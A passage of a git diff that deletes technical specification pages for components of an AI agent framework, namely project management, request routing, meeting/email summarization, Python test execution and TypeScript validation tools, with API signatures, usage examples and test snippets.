Mixin providing project-level management tools. - - Tools provided: - - list_files: List files and directories - - validate_project: Multi-language project validation - - create_project: Generate complete project from requirements - """ - - @tool - def list_files(path: str = ".") -> Dict[str, Any]: - """ - List files and directories in path. - - Args: - path: Directory path (default: current directory) - - Returns: - { - "status": "success" | "error", - "path": str, - "files": List[str], - "directories": List[str], - "total": int, - "error": str # If error - } - """ - pass - - @tool - def validate_project( - project_path: str, - fix: bool = False - ) -> Dict[str, Any]: - """ - Comprehensive multi-language project validation. - - Checks: - - Project structure (entry points, essential files) - - Requirements.txt (hallucination detection) - - Python files (pylint, anti-patterns, Black) - - JavaScript/TypeScript (ESLint if available) - - CSS/HTML (basic validation) - - Args: - project_path: Path to project directory - fix: Auto-fix issues where possible (default: False) - - Returns: - { - "status": "success" | "error", - "project": str, - "validations": { - "structure": { - "is_valid": bool, - "errors": List[str], - "warnings": List[str] - }, - "requirements": {...}, - "python": { - "total_errors": int, - "total_warnings": int, - ... - }, - "javascript": {...}, - "css": {...}, - "html": {...} - }, - "total_errors": int, - "total_warnings": int, - "is_valid": bool, - "message": str - } - """ - pass - - @tool - def create_project(query: str) -> Dict[str, Any]: - """ - Create complete project from natural language requirements. - - Phase 1: Architectural Planning - - Generate JSON architectural plan with LLM - - Validate and sanitize project name - - Create detailed PLAN.md with module specifications - - Phase 2: Implementation - - Implement modules one-by-one with validation - - Apply Black formatting - - Check anti-patterns - - Phase 3: Testing - - Generate comprehensive test suite - - Handle timeout (180s per test file) - - Placeholder tests on failure - - Phase 4: Quality Assurance - - Run tests and auto-fix failures (max 2 attempts) - - Apply Black formatting to all files - - Final validation with fix=True - - Phase 5: Summary - - Generate structured summary report - - Quality metrics and next steps - - Args: - query: Project requirements/description - - Returns: - { - "status": "success" | "error", - "project_name": str, - "files_created": List[str], - "validation": {...}, - "test_results": { - "status": "passed" | "partial" | "error", - "details": str, - "stderr": str, - "stdout": str - }, - "implementation_issues": List[{ - "file": str, - "type": "syntax" | "antipattern", - "issues": List[str] - }], - "summary": str, # Markdown summary - "message": str - } - """ - pass - - def _validate_project_structure( - self, - project_path: Path, - files: List[Path] - ) -> Dict[str, Any]: - """ - Validate project structure for consistency. - - Checks: - - Multiple entry points (error if >1 of main.py, app.py, run.py) - - Missing essential files (README.md, requirements.txt) - - Missing PLAN.md (warning) - - Duplicate model files (warning if >2) - - Returns: - { - "is_valid": bool, - "errors": List[str], - "warnings": List[str] - } - """ - pass -``` - ---- - -## Implementation Highlights - -### LLM-Driven Architecture Planning - -```python -plan_prompt = f"""Create detailed architectural plan for: {query} - -Generate JSON: -{{ - "project_name": "snake_case_name", - "architecture": {{ - "overview": str, - "patterns": List[str], - "technologies": List[str] - }}, - "modules": [{{ - "name": "filename.py", - "purpose": str, - "classes": [{{"name": str, "purpose": str, "methods": List[str]}}], - "functions": [{{"name": str, "signature": str, "purpose": str}}] - }}], - "tests": [{{"name": "test_file.py", "coverage": str}}] -}} -""" - -plan_data = json.loads(self.chat.send(plan_prompt).text) -``` - -### Project Name Validation with Retry - -```python -max_retries = 3 -for retry in range(max_retries): - issues = [] - - if os.path.exists(project_name): - issues.append(f"folder '{project_name}' already exists") - if len(project_name) > 30: - issues.append("name too long") - if not project_name.replace("_", "").isalnum(): - issues.append("invalid characters") - - if not issues: - break - - # Ask LLM to fix name - fix_prompt = f"The name '{project_name}' has issues: {issues}. Provide new valid name." - project_name = self.chat.send(fix_prompt).text.strip().lower() -``` - -### Iterative File Implementation - -```python -for module in modules_sorted: - # Re-read PLAN.md for latest updates - plan_context = Path(plan_path).read_text() - - # Generate code with context - code = self._generate_code_for_file( - filename=module["name"], - purpose=module["purpose"], - context=f"{query}\n\nPlan:\n{plan_context}\n\nModule:\n{json.dumps(module)}" - ) - - # Validate and fix (max 3 attempts) - for attempt in range(3): - try: - ast.parse(code) # Syntax check - antipattern_result = self._check_antipatterns(Path(file_path), code) - break - except SyntaxError as e: - code = self._fix_code_with_llm(code, file_path, str(e)) -``` - -### Test Generation with Timeout - -```python -def generate_with_timeout(test_filename, test, test_context): - nonlocal test_code - test_code = self._generate_code_for_file( - filename=test_filename, - purpose=f"Unit tests for {test['coverage']}", - context=test_context - ) - -gen_thread = threading.Thread(target=generate_with_timeout, args=(...)) -gen_thread.start() -gen_thread.join(timeout=180) # 3 minute timeout - -if gen_thread.is_alive(): - # Placeholder test on timeout - test_code = '''import unittest -class TestPlaceholder(unittest.TestCase): - def test_placeholder(self): - self.skipTest("Test generation timed out") -''' -``` - ---- - -## Testing Requirements - -**File:** `tests/agents/code/test_project_management_mixin.py` - -Key tests: -- Project generation from various requirements -- Name validation and sanitization -- Module implementation validation -- Test suite generation -- Multi-language validation -- Structure validation (entry points, essentials) -- Auto-fix workflow -- Timeout handling - ---- - -## Usage Examples - -```python -# Generate project -result = agent.create_project("Build a FastAPI todo app with SQLite database") -print(f"Created: {result['project_name']}") -print(f"Files: {len(result['files_created'])}") -print(f"Tests: {result['test_results']['status']}") -print(result['summary']) - -# Validate existing project -result = agent.validate_project("/path/to/project", fix=True) -print(f"Valid: {result['is_valid']}") -print(f"Errors: {result['total_errors']}") -print(f"Warnings: {result['total_warnings']}") - -# List project files -result = agent.list_files("/path/to/project") -print(f"Files: {result['files']}") -print(f"Directories: {result['directories']}") -``` - ---- - -*ProjectManagementMixin Technical Specification* - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - \ No newline at end of file diff --git a/docs/spec/routing-agent.mdx b/docs/spec/routing-agent.mdx deleted file mode 100644 index 820bad1c3..000000000 --- a/docs/spec/routing-agent.mdx +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: "RoutingAgent" ---- - - - **Source Code:** [`hub/agents/routing/python/gaia_agent_routing/agent.py`](https://github.com/amd/gaia/blob/main/hub/agents/routing/python/gaia_agent_routing/agent.py) - - - -**Component:** RoutingAgent - Multi-agent orchestration -**Module:** `gaia_agent_routing.agent` -**Import:** `from gaia_agent_routing.agent import RoutingAgent` - ---- - -## Overview - -RoutingAgent intelligently routes user requests for code generation to -`CodeAgent` with automatic parameter disambiguation. It uses LLM-based -analysis for language/framework detection and falls back to interactive -clarification when the request is ambiguous. - - -**Today RoutingAgent only routes to `CodeAgent`** — other agent types raise -`ValueError("Unknown agent type")`. Additionally, the Code Agent path -currently **only supports TypeScript (Next.js)**: non-TypeScript requests -are coerced to TypeScript when the language can't be inferred, and requests -that explicitly pick an unsupported language raise `SystemExit(1)` with a -clear message. Jira/Docker/etc. routing is on the roadmap but not wired up. - - -**Key Features:** -- LLM-powered request analysis (`CodeAgent`-only today) -- TypeScript/Next.js enforcement with automatic fallback -- Interactive parameter disambiguation -- Recursive clarification with conversation history -- API and CLI mode support -- Fallback keyword detection -- Agent configuration and instantiation - ---- - -## API Specification - -```python -class RoutingAgent: - """ - Routes user requests to appropriate agents with intelligent disambiguation. - - Currently handles Code agent routing. Future: Jira, Docker, etc. - - Flow: - 1. Analyze query with LLM to detect agent and parameters - 2. If parameters unknown, ask user for clarification - 3. Recursively re-analyze with user's response as added context - 4. Once resolved, return configured agent ready to execute - """ - - def __init__( - self, - api_mode: bool = False, - output_handler=None, - **agent_kwargs, - ): - """ - Initialize routing agent with LLM client. - - Args: - api_mode: If True, skip interactive questions and use defaults/best-guess - output_handler: Optional OutputHandler for streaming events - **agent_kwargs: Additional kwargs to pass to created agents - """ - ... - - def process_query( - self, - query: str, - conversation_history: Optional[List[Dict[str, str]]] = None, - execute: bool = None, - workspace_root: Optional[str] = None, - **kwargs, - ): - """ - Process query with optional conversation history from disambiguation rounds. - - Args: - query: Original user query - conversation_history: List of conversation turns - execute: If True, execute agent and return result - If False, return agent instance (CLI behavior) - If None, uses api_mode (True for API, False for CLI) - workspace_root: Optional workspace directory - **kwargs: Additional kwargs passed to agent.process_query() - - Returns: - If execute=False: Configured agent instance ready to execute - If execute=True: Execution result from agent.process_query() - """ - ... - - def _analyze_with_llm( - self, conversation_history: List[Dict[str, str]] - ) -> Dict[str, Any]: - """ - Analyze query with LLM to determine agent and parameters. - - Returns: - Analysis dict with agent, parameters, confidence, reasoning - """ - ... - - def _has_unknowns(self, analysis: Dict[str, Any]) -> bool: - """Check if analysis has unknown parameters that need disambiguation.""" - ... - - def _generate_clarification_question(self, analysis: Dict[str, Any]) -> str: - """Generate natural language clarification question based on unknowns.""" - ... - - def _create_agent(self, analysis: Dict[str, Any]) -> Agent: - """Create configured agent based on analysis.""" - ... -``` - ---- - -## Usage Examples - -### Example 1: CLI Mode with Disambiguation - -```python -from gaia_agent_routing.agent import RoutingAgent - -router = RoutingAgent() - -# First call - needs clarification -agent = router.process_query("Create a web app") - -# Router asks: "What language/framework would you like to use?" -# User responds: "Next.js" -# Recursive call resolves parameters - -# Returns configured CodeAgent -result = agent.process_query("Create a web app") -``` - -### Example 2: API Mode (Auto-Execute) - -```python -router = RoutingAgent(api_mode=True, output_handler=sse_handler) - -# Auto-executes with defaults, no interactive questions -result = router.process_query("Create Express API") - -# Returns execution result directly -print(result.status) -``` - -### Example 3: Explicit Parameters - -```python -# Clear request, no disambiguation needed -agent = router.process_query("Create a Next.js blog with TypeScript") - -# Router detects: language=typescript, project_type=fullstack -``` - ---- - -## Testing Requirements - -```python -def test_routing_agent_creation(): - """Test router initialization.""" - router = RoutingAgent() - assert router is not None - -def test_language_detection(): - """Test LLM-based language detection.""" - router = RoutingAgent(api_mode=True) - agent = router.process_query("Create a Python calculator", execute=False) - - assert isinstance(agent, CodeAgent) - assert agent.language == "python" - -def test_api_mode_defaults(): - """Test API mode uses defaults without questions.""" - router = RoutingAgent(api_mode=True) - result = router.process_query("Create an app") - - # Should complete without user input - assert result is not None -``` - ---- - -## Dependencies - -RoutingAgent ships as the standalone `gaia-agent-routing` wheel and depends only -on the LLM client. CodeAgent ships as the standalone `gaia-agent-code` wheel (#1397, #1102); -RoutingAgent resolves it lazily at runtime through the agent registry -(`AgentRegistry().create_agent("code", ...)`) and raises an actionable error -if the wheel is not installed — it does **not** hard-depend on the package. - ---- - -*RoutingAgent Technical Specification* - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - \ No newline at end of file diff --git a/docs/spec/summarizer-app.mdx b/docs/spec/summarizer-app.mdx deleted file mode 100644 index df53ec1e2..000000000 --- a/docs/spec/summarizer-app.mdx +++ /dev/null @@ -1,353 +0,0 @@ ---- -title: "SummarizerApp" ---- - - - **Source Code:** [`src/gaia/apps/summarize/app.py`](https://github.com/amd/gaia/blob/main/src/gaia/apps/summarize/app.py) - - - -**Component:** SummarizerApp - Meeting and email summarization -**Module:** `gaia.apps.summarize.app` -**Import:** `from gaia.apps.summarize.app import SummarizerApp, SummaryConfig` - ---- - -## Overview - -SummarizerApp processes meeting transcripts and emails to generate structured summaries with multiple styles (executive, detailed, bullets, action items, participants). Supports auto-detection of content type and multi-style output in a single LLM call. - -**Key Features:** -- Auto-detect content type (transcript vs email) -- 6 summary styles (brief, detailed, bullets, executive, participants, action_items) -- Combined or individual style generation -- Multi-model support (local, Claude, ChatGPT) -- Performance statistics tracking -- Retry logic for reliability -- File and directory batch processing - ---- - -## API Specification - -### SummaryConfig - -```python -@dataclass -class SummaryConfig: - """Configuration for summarization""" - - model: str = DEFAULT_MODEL_NAME - max_tokens: int = 1024 - input_type: Literal["transcript", "email", "auto"] = "auto" - styles: List[str] = None # Defaults to ["executive", "participants", "action_items"] - combined_prompt: bool = False # Generate all styles in one LLM call - use_claude: bool = False - use_chatgpt: bool = False - - def __post_init__(self): - """Validate styles and auto-detect OpenAI models.""" - if self.styles is None: - self.styles = ["executive", "participants", "action_items"] - - # Auto-detect OpenAI models - if self.model.lower().startswith("gpt"): - self.use_chatgpt = True -``` - -### Summary Styles - -```python -SUMMARY_STYLES = { - "brief": "Generate a concise 2-3 sentence summary highlighting the most important points.", - "detailed": "Generate a comprehensive summary with all key details, context, and nuances.", - "bullets": "Generate key points in a clear bullet-point format, focusing on actionable items.", - "executive": "Generate a high-level executive summary focusing on decisions, outcomes, and strategic implications.", - "participants": "Extract and list all meeting participants with their roles if mentioned.", - "action_items": "Extract all action items with owners and deadlines where specified.", -} -``` - -### SummarizerApp - -`SummarizerApp` is a **thin wrapper** that delegates to -[`SummarizerAgent`](https://github.com/amd/gaia/blob/main/hub/agents/summarize/python/gaia_agent_summarize/agent.py) -for the actual prompt construction, retry logic, and multi-style generation. -The app class itself exposes just four public methods: - -```python -class SummarizerApp: - """Main application class for summarization (delegates to SummarizerAgent)""" - - def __init__(self, config: Optional[SummaryConfig] = None): - """Create the underlying SummarizerAgent from a SummaryConfig.""" - ... - - def summarize( - self, - content: str, - styles: Optional[List[str]] = None, - combined_prompt: Optional[bool] = None, - input_type: str = "auto", - ) -> Dict[str, Any]: - """ - Summarize raw text. When styles/combined_prompt/input_type are None, - the values from SummaryConfig are used. - """ - ... - - def summarize_file( - self, - file_path: Path, - styles: Optional[List[str]] = None, - combined_prompt: Optional[bool] = None, - input_type: str = "auto", - ) -> Dict[str, Any]: - """Summarize a single file (path may be str or Path).""" - ... - - def summarize_directory( - self, - dir_path: Path, - styles: Optional[List[str]] = None, - combined_prompt: Optional[bool] = None, - input_type: str = "auto", - ) -> List[Dict[str, Any]]: - """Summarize all text files in a directory.""" - ... -``` - - -Internal pipeline helpers like `detect_content_type`, `generate_summary_prompt`, -`generate_combined_prompt`, `summarize_with_style`, and `summarize_combined` -live on `SummarizerAgent`, not on `SummarizerApp`. Subclass or import -`SummarizerAgent` directly if you need to override those. - - -### Module-level helpers - -```python -def validate_email_address(email: str) -> bool -def validate_email_list(email_list: str) -> list[str] -``` - -Utilities for the `gaia summarize --email-to/--email-cc` CLI flags. - ---- - -## Usage Examples - -### Example 1: Single Meeting Transcript - -```python -from gaia.apps.summarize.app import SummarizerApp, SummaryConfig -from pathlib import Path - -# Configure for executive summary only -config = SummaryConfig( - model="Qwen3.5-35B-A3B-GGUF", - styles=["executive"], - input_type="transcript" # Or "auto" for detection -) - -app = SummarizerApp(config) - -# Summarize from file -result = app.summarize_file(Path("meeting.txt")) - -print(result["summary"]["text"]) -print(f"Tokens used: {result['performance']['total_tokens']}") -``` - -### Example 2: Multiple Styles - -```python -# Generate multiple styles -config = SummaryConfig( - styles=["executive", "participants", "action_items"], - combined_prompt=True # More efficient - single LLM call -) - -app = SummarizerApp(config) -result = app.summarize(content) - -# Access different summaries -print("Executive:", result["summaries"]["executive"]["text"]) -print("Participants:", result["summaries"]["participants"]["text"]) -print("Action Items:", result["summaries"]["action_items"]["text"]) -``` - -### Example 3: Batch Processing - -```python -# Process all files in directory -config = SummaryConfig( - styles=["brief", "action_items"], - input_type="auto" -) - -app = SummarizerApp(config) -results = app.summarize_directory(Path("meetings/")) - -for result in results: - filename = Path(result["metadata"]["input_file"]).name - summary = result["summaries"]["brief"]["text"] - print(f"{filename}: {summary}") -``` - -### Example 4: Email Summarization - -```python -email_content = """ -From: john@example.com -To: team@example.com -Subject: Q4 Planning - -Hi team, - -We need to finalize Q4 goals by Friday... -""" - -config = SummaryConfig( - styles=["executive", "participants"], - input_type="email" -) - -app = SummarizerApp(config) -result = app.summarize(email_content) - -# Email-specific participant extraction -participants = result["summaries"]["participants"] -print(f"Sender: {participants.get('sender')}") -print(f"Recipients: {participants.get('recipients')}") -``` - ---- - -## Output Format - -### Single Style Output - -```json -{ - "metadata": { - "input_file": "meeting.txt", - "input_type": "transcript", - "model": "Qwen3.5-35B", - "timestamp": "2025-01-15T10:30:00", - "processing_time_ms": 2500, - "summary_style": "executive" - }, - "summary": { - "text": "Executive summary text...", - "performance": { - "total_tokens": 450, - "tokens_per_second": 15.2 - } - }, - "original_content": "..." -} -``` - -### Multiple Styles Output - -```json -{ - "metadata": { - "summary_styles": ["executive", "participants", "action_items"], - "...": "..." - }, - "summaries": { - "executive": { - "text": "...", - "performance": {...} - }, - "participants": { - "text": "...", - "participants": ["Alice", "Bob"], - "performance": {...} - }, - "action_items": { - "text": "...", - "items": ["Task 1", "Task 2"], - "performance": {...} - } - }, - "aggregate_performance": { - "total_tokens": 1200, - "total_processing_time_ms": 3500 - } -} -``` - ---- - -## Testing Requirements - -```python -def test_content_type_detection(): - """Test auto-detection of content type. - - detect_content_type lives on SummarizerAgent (see note above), not on the - thin SummarizerApp wrapper. - """ - from gaia_agent_summarize.agent import SummarizerAgent - - agent = SummarizerAgent() - - transcript = "Alice: Hello\nBob: Hi there" - assert agent.detect_content_type(transcript) == "transcript" - - email = "From: alice@test.com\nTo: bob@test.com\nSubject: Test" - assert agent.detect_content_type(email) == "email" - -def test_single_style_summarization(): - """Test single style summary.""" - config = SummaryConfig(styles=["brief"]) - app = SummarizerApp(config) - - result = app.summarize("Test content") - assert "summary" in result - assert "text" in result["summary"] - -def test_multiple_styles(): - """Test multiple styles.""" - config = SummaryConfig( - styles=["executive", "action_items"], - combined_prompt=True - ) - app = SummarizerApp(config) - - result = app.summarize("Test meeting content") - assert "summaries" in result - assert "executive" in result["summaries"] - assert "action_items" in result["summaries"] -``` - ---- - -## Dependencies - -```toml -[project] -dependencies = [ - "gaia.chat.sdk", - "gaia.llm.lemonade_client", -] -``` - ---- - -*SummarizerApp Technical Specification* - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - \ No newline at end of file diff --git a/docs/spec/testing-mixin.mdx b/docs/spec/testing-mixin.mdx deleted file mode 100644 index f551f9d47..000000000 --- a/docs/spec/testing-mixin.mdx +++ /dev/null @@ -1,460 +0,0 @@ ---- -title: "TestingMixin" ---- - - - **Source Code:** [`hub/agents/code/python/gaia_agent_code/tools/testing.py`](https://github.com/amd/gaia/blob/main/hub/agents/code/python/gaia_agent_code/tools/testing.py) - - - -**Component:** TestingMixin -**Module:** `gaia_agent_code.tools.testing` -**Import:** `from gaia_agent_code.tools.testing import TestingMixin` - ---- - -## Overview - -TestingMixin provides Python code execution and testing tools with timeout management and output capture. It enables running Python scripts and pytest test suites with proper isolation and error handling. - -**Key Features:** -- Execute Python files as subprocesses -- Run pytest test suites -- Capture stdout and stderr -- Timeout management -- Environment variable injection -- Working directory control -- Test result parsing - ---- - -## Tool Specifications - -### 1. execute_python_file - -Execute a Python file as a subprocess with full control. - -**Parameters:** -- `file_path` (str, required): Path to Python file -- `args` (List[str] | str, optional): CLI arguments -- `timeout` (int, optional): Timeout in seconds (default: 60) -- `working_directory` (str, optional): Working directory -- `env_vars` (Dict[str, str], optional): Environment variables - -**Returns:** -```python -{ - "status": "success" | "error", - "file_path": str, - "command": str, - "stdout": str, - "stderr": str, - "return_code": int, - "has_errors": bool, - "duration_seconds": float, - "timeout": int, - "cwd": str, - "output_truncated": bool, - - # On timeout - "timed_out": bool -} -``` - -**Example:** -```python -result = execute_python_file( - file_path="/path/to/script.py", - args=["--input", "data.txt"], - timeout=120, - working_directory="/path/to/project", - env_vars={"DEBUG": "1"} -) - -if result["has_errors"]: - print(f"Script failed with code {result['return_code']}") - print(result["stderr"]) -else: - print("Success!") - print(result["stdout"]) -``` - -### 2. run_tests - -Run pytest test suite for a project. - -**Parameters:** -- `project_path` (str, optional): Project directory (default: ".") -- `pytest_args` (List[str] | str, optional): Pytest arguments -- `timeout` (int, optional): Timeout in seconds (default: 120) -- `env_vars` (Dict[str, str], optional): Environment variables - -**Returns:** -```python -{ - "status": "success" | "error", - "project_path": str, - "command": str, - "stdout": str, - "stderr": str, - "return_code": int, - "tests_passed": bool, - "failure_summary": str, # If failed - "duration_seconds": float, - "timeout": int, - "output_truncated": bool, - - # On timeout - "timed_out": bool -} -``` - -**Example:** -```python -result = run_tests( - project_path="/path/to/project", - pytest_args=["-v", "tests/test_calculator.py"], - timeout=300 -) - -if result["tests_passed"]: - print("All tests passed!") -else: - print(f"Tests failed: {result['failure_summary']}") - print(result["stdout"]) -``` - ---- - -## Usage Examples - -### Example 1: Execute Python Script - -```python -from gaia_agent_code import CodeAgent - -agent = CodeAgent() - -# Run a data processing script -result = agent.execute_python_file( - file_path="scripts/process_data.py", - args=["--input", "data/raw.csv", "--output", "data/processed.csv"], - timeout=600, - working_directory="/path/to/project" -) - -if result["status"] == "success": - if result["return_code"] == 0: - print("Processing completed successfully") - print(result["stdout"]) - else: - print(f"Script failed with exit code {result['return_code']}") - print("Error output:") - print(result["stderr"]) -else: - if result.get("timed_out"): - print(f"Script timed out after {result['timeout']} seconds") - else: - print(f"Error: {result['error']}") -``` - -### Example 2: Run Full Test Suite - -```python -# Run all tests with verbose output -result = agent.run_tests( - project_path="/path/to/project", - pytest_args=["-v", "--tb=short"], - timeout=300 -) - -print(f"Tests completed in {result['duration_seconds']:.2f}s") - -if result["tests_passed"]: - print("✓ All tests passed!") -else: - print(f"✗ Tests failed") - print(result["failure_summary"]) -``` - -### Example 3: Run Specific Test File - -```python -# Run specific test file with coverage -result = agent.run_tests( - project_path="/path/to/project", - pytest_args=["tests/test_calculator.py", "--cov=src", "--cov-report=term"], - timeout=60 -) - -if result["tests_passed"]: - # Parse coverage from output - print("Tests passed with coverage:") - print(result["stdout"]) -``` - -### Example 4: Environment Variables - -```python -# Run tests with custom environment -result = agent.run_tests( - project_path="/path/to/project", - pytest_args=["-v"], - env_vars={ - "DATABASE_URL": "sqlite:///test.db", - "DEBUG": "1", - "TEST_MODE": "integration" - } -) -``` - -### Example 5: Handle Timeouts - -```python -result = agent.execute_python_file( - file_path="scripts/long_process.py", - timeout=30 -) - -if result.get("timed_out"): - print(f"Process timed out after {result['timeout']}s") - print("Partial output:") - print(result["stdout"]) - print("\nConsider:") - print("1. Increasing timeout") - print("2. Optimizing the script") - print("3. Running in background mode") -``` - ---- - -## Output Handling - -### Truncation - -Output is truncated to prevent memory issues: - -```python -MAX_OUTPUT = 10_000 # characters - -if len(stdout) > MAX_OUTPUT: - stdout = stdout[:MAX_OUTPUT] + "\n...output truncated (stdout)..." - truncated = True - -if len(stderr) > MAX_OUTPUT: - stderr = stderr[:MAX_OUTPUT] + "\n...output truncated (stderr)..." - truncated = True -``` - -### Failure Summary Parsing - -For pytest, extract failure count from output: - -```python -import re - -summary_match = re.search(r"(\d+)\s+failed", stdout) -if summary_match: - num_failed = summary_match.group(1) - failure_summary = f"{num_failed} test(s) failed - check stdout for details" -``` - ---- - -## Environment Configuration - -### PYTHONPATH Management - -Automatically adds project directory to PYTHONPATH: - -```python -env = os.environ.copy() -if env_vars: - env.update({key: str(value) for key, value in env_vars.items()}) - -existing_pythonpath = env.get("PYTHONPATH") -project_pythonpath = str(project_dir) - -if existing_pythonpath: - env["PYTHONPATH"] = f"{project_pythonpath}{os.pathsep}{existing_pythonpath}" -else: - env["PYTHONPATH"] = project_pythonpath -``` - ---- - -## Testing Requirements - -**File:** `tests/agents/code/test_testing.py` - -```python -import pytest -from gaia_agent_code.tools.testing import TestingMixin - -def test_execute_python_file(tmp_path): - """Test Python file execution.""" - # Create test script - script = tmp_path / "test_script.py" - script.write_text("print('Hello World')\nprint('Success')") - - mixin = TestingMixin() - result = mixin.execute_python_file( - file_path=str(script), - timeout=10 - ) - - assert result["status"] == "success" - assert result["return_code"] == 0 - assert "Hello World" in result["stdout"] - assert not result["has_errors"] - -def test_execute_with_args(tmp_path): - """Test execution with CLI arguments.""" - script = tmp_path / "args_script.py" - script.write_text(""" -import sys -print(f"Args: {sys.argv[1:]}") -""") - - result = execute_python_file( - str(script), - args=["--input", "test.txt", "--output", "out.txt"] - ) - - assert "--input" in result["stdout"] - assert "test.txt" in result["stdout"] - -def test_timeout_handling(tmp_path): - """Test timeout behavior.""" - script = tmp_path / "slow_script.py" - script.write_text(""" -import time -time.sleep(10) -print("Done") -""") - - result = execute_python_file(str(script), timeout=2) - - assert result["status"] == "error" - assert result.get("timed_out") - assert result["timeout"] == 2 - -def test_run_tests(tmp_path): - """Test pytest execution.""" - # Create test file - test_file = tmp_path / "test_example.py" - test_file.write_text(""" -def test_pass(): - assert True - -def test_also_pass(): - assert 1 + 1 == 2 -""") - - result = run_tests(str(tmp_path), pytest_args=["-v"]) - - assert result["status"] == "success" - assert result["tests_passed"] - assert result["return_code"] == 0 - -def test_run_tests_with_failure(tmp_path): - """Test pytest with failures.""" - test_file = tmp_path / "test_fail.py" - test_file.write_text(""" -def test_will_fail(): - assert False, "This test is designed to fail" -""") - - result = run_tests(str(tmp_path)) - - assert result["status"] == "success" # Command ran - assert not result["tests_passed"] # But tests failed - assert result["return_code"] != 0 - assert result["failure_summary"] -``` - ---- - -## Error Handling - -### File Not Found - -```python -if not path.exists(): - return { - "status": "error", - "error": f"File not found: {file_path}", - "has_errors": True - } -``` - -### Invalid Arguments - -```python -if not isinstance(args, (str, list)): - return { - "status": "error", - "error": "args must be a list of strings or a string", - "has_errors": True - } -``` - -### Timeout Handling - -```python -try: - result = subprocess.run( - cmd, - timeout=timeout, - ... - ) -except subprocess.TimeoutExpired as exc: - return { - "status": "error", - "error": f"Execution timed out after {timeout} seconds", - "stdout": decode_output(exc.stdout), - "stderr": decode_output(exc.stderr), - "timed_out": True, - "timeout": timeout - } -``` - ---- - -## Performance Characteristics - -- **Script Execution:** Depends on script complexity -- **Test Suite:** Depends on test count and complexity -- **Timeout Precision:** ±0.1 seconds -- **Output Truncation:** 10,000 characters per stream -- **Environment Setup:** ~10ms overhead - ---- - -## Dependencies - -```python -import os -import shlex -import subprocess -import sys -from datetime import datetime -from pathlib import Path -from typing import Any, Dict, List, Optional -``` - ---- - -*TestingMixin Technical Specification* - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - \ No newline at end of file diff --git a/docs/spec/typescript-tools-mixin.mdx b/docs/spec/typescript-tools-mixin.mdx deleted file mode 100644 index e730abcb8..000000000 --- a/docs/spec/typescript-tools-mixin.mdx +++ /dev/null @@ -1,431 +0,0 @@ ---- -title: "TypeScriptToolsMixin" ---- - - - **Source Code:** [`hub/agents/code/python/gaia_agent_code/tools/typescript_tools.py`](https://github.com/amd/gaia/blob/main/hub/agents/code/python/gaia_agent_code/tools/typescript_tools.py) - - - -**Component:** TypeScriptToolsMixin -**Module:** `gaia_agent_code.tools.typescript_tools` -**Import:** `from gaia_agent_code.tools.typescript_tools import TypeScriptToolsMixin` - ---- - -## Overview - -TypeScriptToolsMixin provides TypeScript development tools including compilation validation and linting. It focuses on type-checking without generating output files, making it suitable for continuous validation during development. - -**Key Features:** -- TypeScript compilation validation (no-emit mode) -- ESLint integration -- Configuration validation -- Comprehensive error reporting -- JSON-formatted lint output - ---- - -## Tool Specifications - -### 1. validate_typescript - -Validate TypeScript code compilation and linting. - -**Parameters:** -- `project_path` (str, required): Path to TypeScript project - -**Returns:** -```python -{ - "success": bool, - "typescript_valid": bool, - "typescript_errors": List[str], - "eslint_valid": bool, - "eslint_errors": List[Dict] | List[str], - - # On error - "error": str -} -``` - -**TypeScript Validation:** -- Runs `npx tsc --noEmit` -- Checks compilation without generating files -- Returns all compiler errors - -**ESLint Validation:** -- Detects ESLint configuration automatically -- Runs on `src/**/*.{ts,tsx}` files -- Returns JSON-formatted results - -**Supported ESLint Configs:** -- `.eslintrc` -- `.eslintrc.js` -- `.eslintrc.json` -- `eslint.config.js` - ---- - -## Usage Examples - -### Example 1: Basic Validation - -```python -from gaia_agent_code import CodeAgent - -agent = CodeAgent() - -result = agent.validate_typescript( - project_path="/path/to/nextjs-app" -) - -if result["success"]: - print("✓ TypeScript and ESLint validation passed") -else: - print("✗ Validation failed") - - if not result["typescript_valid"]: - print("\nTypeScript Errors:") - for error in result["typescript_errors"]: - print(f" {error}") - - if not result["eslint_valid"]: - print("\nESLint Errors:") - for error in result["eslint_errors"]: - if isinstance(error, dict): - print(f" {error.get('filePath')}: {error.get('messages', [])}") - else: - print(f" {error}") -``` - -### Example 2: Pre-Commit Validation - -```python -# Validate TypeScript before committing -result = agent.validate_typescript(project_path=".") - -if not result["success"]: - print("Cannot commit: TypeScript validation failed") - print("\nFix the following errors:") - - # Show TypeScript errors - if result.get("typescript_errors"): - for error in result["typescript_errors"][:10]: # First 10 - print(f" - {error}") - - # Count total issues - ts_count = len(result.get("typescript_errors", [])) - lint_count = len(result.get("eslint_errors", [])) - print(f"\nTotal: {ts_count} TypeScript errors, {lint_count} ESLint errors") - - exit(1) - -print("✓ Validation passed, ready to commit") -``` - -### Example 3: CI/CD Integration - -```python -import sys - -# Run in CI pipeline -result = agent.validate_typescript(project_path="/app") - -# Exit with error code if validation fails -if not result["success"]: - print("::error::TypeScript validation failed") - - # GitHub Actions annotations - for error in result.get("typescript_errors", []): - if "error TS" in error: - # Parse error format: file.ts(line,col): error TSxxxx: message - print(f"::error file={error.split('(')[0]}::{error}") - - sys.exit(1) - -print("::notice::TypeScript validation passed") -``` - -### Example 4: Watch Mode Integration - -```python -import time - -while True: - result = agent.validate_typescript(project_path=".") - - if result["success"]: - print(f"[{time.strftime('%H:%M:%S')}] ✓ Valid") - else: - print(f"[{time.strftime('%H:%M:%S')}] ✗ Errors detected") - print(f" TS: {len(result.get('typescript_errors', []))}") - print(f" ESLint: {len(result.get('eslint_errors', []))}") - - time.sleep(5) # Check every 5 seconds -``` - -### Example 5: Error-Specific Handling - -```python -result = agent.validate_typescript(project_path=".") - -if not result["typescript_valid"]: - errors = result["typescript_errors"] - - # Group by error type - syntax_errors = [e for e in errors if "Syntax error" in e] - type_errors = [e for e in errors if "error TS2" in e] - import_errors = [e for e in errors if "Cannot find module" in e] - - print(f"Syntax errors: {len(syntax_errors)}") - print(f"Type errors: {len(type_errors)}") - print(f"Import errors: {len(import_errors)}") - - # Handle 